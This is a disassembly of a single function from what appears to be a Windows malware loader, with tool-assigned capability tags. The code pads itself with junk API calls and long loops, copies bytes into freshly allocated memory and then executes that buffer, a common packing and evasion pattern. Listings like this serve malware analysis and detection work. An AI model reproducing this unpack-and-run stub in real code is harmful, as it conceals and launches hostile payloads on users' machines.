Function at 0x402023
Capabilities:
Copy file
Delete directory
Get common file path
Get disk information
Get geographical location
Get hostname
Set file attributes

Disassembly:
mov eax, 0x41a0b9
call fcn.00419fc0
mov eax, 0x10f8
call fcn.00418470
mov ecx, dword [0x1aa6a88]
push ebx
push esi
xor ebx, ebx
push edi
cmp ecx, 0x93
jne 0x402123
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
push ebx
btr dword [eax], 0
lea eax, [ebp - 0x904]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
lea eax, [ebp - 0x50]
push eax
push ebx
push ebx
push str.nuruxotuzomesodegekozu
push ebx
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
push ebx
lea eax, [ebp - 0x504]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
call fcn.00406456
pop ecx
push ebx
call fcn.0040531b
pop ecx
push ebx
push ebx
call fcn.00405fa0
xorps xmm0, xmm0
call fcn.004010d0
call fcn.004047de
push ebx
push ebx
call fcn.004052ee
push ebx
push ebx
call fcn.004060c9
push ebx
call fcn.00405f8b
add esp, 0x1c
push ebx
call fcn.004064cd
pop ecx
push ebx
call fcn.00405f8b
mov dword [esp], 0x423b2c
call fcn.00405fee
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.00402a56
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x14], ebx
call fcn.00402a63
push ecx
push ecx
lea ecx, [ebp - 0x104]
call fcn.00402aa0
lea ecx, [ebp - 0x104]
call fcn.004022c9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00402a90
mov ecx, dword [0x1aa6a88]
mov eax, dword [0x42c230]
add ecx, 0x1134b
push ecx
push ebx
mov dword [0x1aa6a8c], eax
mov dword [0x1aa6a88], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x1aa647c], eax
call fcn.00401fb8
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, 0xa90ee
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMenuItemID]
call edi
dec esi
jne 0x402156
mov ecx, dword [0x1aa6a88]
mov esi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test ecx, ecx
je 0x4021d1
mov eax, dword [0x1aa6a8c]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x1aa647c]
mov byte [eax + esi], cl
mov ecx, dword [0x1aa6a88]
cmp ecx, 0x490
jne 0x4021cc
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push 0
call ebx
xor ecx, ecx
lea eax, [ebp - 0x504]
push ecx
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x18]
push eax
push ecx
lea eax, [ebp - 0x904]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x1aa6a88]
inc esi
cmp esi, ecx
jb 0x402175
xor esi, esi
lea eax, [ecx + esi]
cmp eax, 0x8d
jne 0x40221d
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor ecx, ecx
lea eax, [ebp - 0x18]
push ecx
push eax
push ecx
lea eax, [ebp - 0x504]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push 0
lea eax, [ebp - 0xd04]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
mov ecx, dword [0x1aa6a88]
inc esi
cmp esi, 0x38681
jl 0x4021d3
push ecx
call fcn.00401f75
xor esi, esi
call edi
cmp esi, 0x62
jne 0x40223a
call fcn.00401f9c
inc esi
cmp esi, 0x674db
jl 0x40222e
push 0x7b
pop esi
cmp dword [0x1aa6a88], 0x86
jne 0x4022a8
xor edi, edi
lea eax, [ebp - 0x28]
push edi
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1104]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push edi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x14]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputAttribute]
dec esi
jne 0x402246
push 0x423b30
call ebx
call dword [0x1aa647c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret